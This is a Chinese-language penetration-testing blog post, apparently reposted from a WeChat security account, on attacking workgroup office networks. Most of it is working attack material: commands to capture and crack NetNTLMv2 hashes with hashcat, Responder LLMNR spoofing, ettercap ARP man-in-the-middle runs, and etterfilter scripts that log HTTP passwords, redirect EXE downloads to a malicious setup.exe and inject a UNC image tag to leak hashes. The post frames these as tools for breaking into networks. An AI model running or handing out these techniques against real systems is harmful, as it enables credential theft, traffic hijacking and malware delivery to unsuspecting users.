前言
在多次渗透测试中,我们发现办公网的主机与服务器内网存在显著差异。在办公网中,除了极少数用户机器会运行一些特殊服务(如 Everything、向日葵或各种 RMI 等),以及少数开发机可能会运行 Web 服务外,大部分机器通常只是普通的单机系统。这些机器往往只开放了常见的端口,如 445(SMB)、135(RPC)、139(NetBIOS 等),而没有其他可利用的服务。
在这种情况下,我们常常陷入困境:除了尝试利用一些常见的漏洞(如 MS08-067、MS17-010、19-0708 等),似乎没有太多其他选择。然而,如果目标主机安装了杀毒软件,这些攻击手段很可能会被拦截。如果没有可利用的漏洞,我们可能只能束手无策。
这种现象反映了当前网络安全领域的一个现状:过于关注 Web 安全,而忽略了传统攻击手段的潜力。早在多年前,我刚接触网络安全时,就听说过一些经典的攻击手段,如蜘蛛中间人攻击(用于获取账号密码)或奶瓶破解 WiFi 等。当时,我天真地认为这些攻击手段已经过时,但如今回顾,才发现自己当初是多么的天真。
如今的内网环境与过去相比,已经发生了巨大的变化。随着网络安全技术的不断发展,传统的攻击手段似乎不再受到重视,但实际上,它们仍然具有强大的威力。在面对复杂的内网环境时,我们不能仅仅依赖于 Web 安全领域的知识,而应该重新审视这些“传统艺能”,并探索如何将它们与现代攻击手段相结合,以应对不断变化的网络安全挑战。
被动方式1:获取NetNTLMv2
简单方式,如果你直接日下路由器。无论用什么方法,直接监听 445 端口,并捕获为 pcap。
监听一段时间,可以使用 NTLMRawUnHide 项目来从 pcap 中提取 ntlmv2。直接运行
python .NTLMRawUnHide.py -i .b.pcap
然后,我们要找的就是类似于
test::DESKTOP-K6CQSK4:c42c85ec072f126d:295a6b646463dd1cdb99baa88513174b:01010000000000004308b7d1045bd8014d2895bd5d65fd940000000002001e00570049004e002d00460038004600450054004c004400540049004f004a0001001e00570049004e002d00460038004600450054004c004400540049004f004a0004001e00570049004e002d00460038004600450054004c004400540049004f004a0003001e00570049004e002d00460038004600450054004c004400540049004f004a00070008004308b7d1045bd801060004000200000008003000300000000000000001000000002000005665c49fa02134c71e7c11a593461da9cda996aebf9f9b6e9e1d74175dfb57400a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0032002e003100380030000000000000000000
这样的一段内容,提取出来,保存为 txt 文件,我们就可以使用 hashcat 爆破了。我们这里假设保存为 ntlmv2.txt。
然后使用 hashcat,执行
hashcat.exe -m 5600 ntlmv2.txt -a 3 ?l?l?l?l?d?d?d --force
可以看到,对于这种弱口令,基本 1 秒就爆破出来了正常情况下,和服务器环境不同,工作组计算机并没有密码策略要求,所以密码通常不会太复杂,基本都是 单词 + 生日数字,甚至纯数字为主,所以基本都挺好爆破的。当然前提还是得抓取到 ntlmv2。
下次遇到什么飞塔防火墙啊,就可以靠这些去打里面的机器了
被动方式2:邮箱账号密码
还是当你搞下一台路由器或者其他网关设备时,如果提前了解到他们使用的是自建邮箱,那么就可以尝试监听pop3等邮箱的端口来抓取密码。
这里没有图,因为是在实际工作中遇到并成功获取的。
被动方式3:使用Responder
直接在 kali 中,运行
responder -I eth0 -w responder
会自动在局域网内使用 LLMNR 和 NetBiOS 等协议进行应答。
具体体现在
链路局部范围内每台支持LLMNR,并且被配置为响应传入查询的主机在收到这个查询请求后,会将被查询的名称和自己的主机名进行比较。如果没有找到匹配的主机名,那么计算机就会丢弃这个查询。如果找到了匹配的主机名,这台计算机会传输一条包含了自己IP地址的单播信息给请求该查询的主机。
而 responder 原理就是无论收到是啥,都应答这个 LLMR 响应,导致客户以为这个主机是存在的。
当我们的目标在计算机内输入了一个没有人应答的主机名,这时候我们的 responder 就会自动应答,让客户机以为我们是他想请求的机器,并发送凭证,这时候我们就抓到了他们的 ntlmv2 了。
然而这个方法有个非常大的局限性就是必须要目标手动输入不存在的主机名,然而一般情况下谁会乱输入主机名啊。除非在渗透过程中已经进入了内网,同时使用钓鱼的方式在目标中插入暗桩,例如文件加载资源等,或者类似于在内网打下的服务器中插入 XSS,自动加载 UAF 路径等。但是这就不是 0click 了。而主动等待用户输错又是天方夜谭。所以此时我们就需要主动出击。
主动出击:Ettercap内网嗅探与劫持
这时候就可以掏出我们的传统异能工具,ettercap 和 arpspoof 之类的劫持工具了。ettercap 的攻击原理就不过多阐述.
使用 ettercap 能达成类似与路由器那样直接 tcpdump 分析内网的数据包的类似操作。但是如果可以,能打到路由器还是最好还是先打路由器。
毕竟 arp 劫持在现在环境下,随随便便一个杀软就能挡住并且能提醒,直接从无感攻击变成有感攻击,导致管理员发现任务失败直接 GG。
所以我们的思路就是打下路由器,然后就能进行一些更高阶的操作,或者直接嗅探 HTTP 文件,把文件替换成我们的木马等。
直接运行
sudo ettercap -i 网卡 -T -M arp:remote /目标内网机器IP// /内网网关//
这样我们就可以看到目标机器的所有流量了
这时候有流量了,可以选择嗅探cookies或者是嗅探密码。这时候我们就需要用到etterfilter,用于选出我们想要的流量。
直接查看一个文档 etterfilter - linux man,直接进行一个仿写,我们也不做其他的,直接把他们包含 Cookies 和 user
if ( tcp.src == 80 || tcp.dst == 80) {
if (search(DATA.data,"password")) {
log(DATA.data, "/tmp/tmp.log");
}
}
上面是保存 http 中带有 password 的,甚至可以把第一句 tcp.src == 80 也给删了,只保留我们发往远程的请求,因为一般登录的时候是我们发给用户,把上面这些保存为 a.filter,然后执行 etterfilter a.filter -o a.ef 就会生成一个 ef 文件,然后使用
sudo ettercap -i eth1 -T -q -F a.ef -M arp:remote /目标ip// /网关ip//
就可以开始嗅探 http 请求的明文流量了。
或者,可以进行一个下载文件的替换。直接贴一个网络上找来的脚本
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace("Accept-Encoding", "Accept-Mousecat");
msg("zapped Accept-Encoding!n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("keep-alive", "close" );
replace("Keep-Alive", "close" );
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
msg("found EXEn");
if (search(DATA.data, "Win32")) {
msg("doing nothingn");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://你的恶意exe/setup.exe");
msg("redirect successn");
}
}
这个代码是直接替换下载 EXE 地址 302 到我们的恶意文件地址,缺点是下载后别人看到下载地址是直接显示你的而已 exe 地址,高级一点的可以直接在下载原始 exe 过程中,直接把它的 exe 流数据替换成我们的恶意 exe 数据流。再高级一点的甚至可以直接在 exe 流中插入 shellcode 然后修改入口点。。当然这个过于复杂也没什么必要就是了。
以上两种方式虽然都挺好用,但是如果目标们就是 tmd 不访问路由器或者不下 exe 怎么办呢?
配合我们之前使用的 responder,只要在 http 流量中插入内网的 UAF 地址,然后使用 responder 进行一个 LLMNR 欺骗甚至使用 smbreplay,诱导用户发送他们自身的 ntlmv2,不是就能达到我们想要的效果了?
直接对 fileter 修改
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding","Accept-AAAA");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("head>", "head> <img src="\\fake_hostname\pixel.gif"> ");
}
然后等待发送 ntlmv2 即可。。然而如今的正常浏览器都会遇到 Not allowed to load local resource,并不允许自动加载。。也只有某些垃圾浏览器或者远古浏览器,比如 IE 或者一些 webview 才会自动引用这些然后发送 ntlmv2 了。
结语
和 Web 服务不同,在面对工作组计算机中,除了 MS17 这类暴力服务洞。我们只能从主动进攻慢慢变成了一个默默的被动等待者。蛰伏在局域网下收集数据等待机会。然而随着安全技术的发展,我们主动出击的手段越来越少,ARP 攻击如今只要是个杀软就能防御,默认 https,允许 http 的站点越来越少导致攻击越来越难。甚至浏览器同源策略不允许自动加载本地文件导致 ntlmv2 发送不出来等等因素,这可能也是导致内网 mitm 越来越淡出我们视野的原因。
原文始发于微信公众号(SecretTeam安全团队):工作组环境下的内网渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论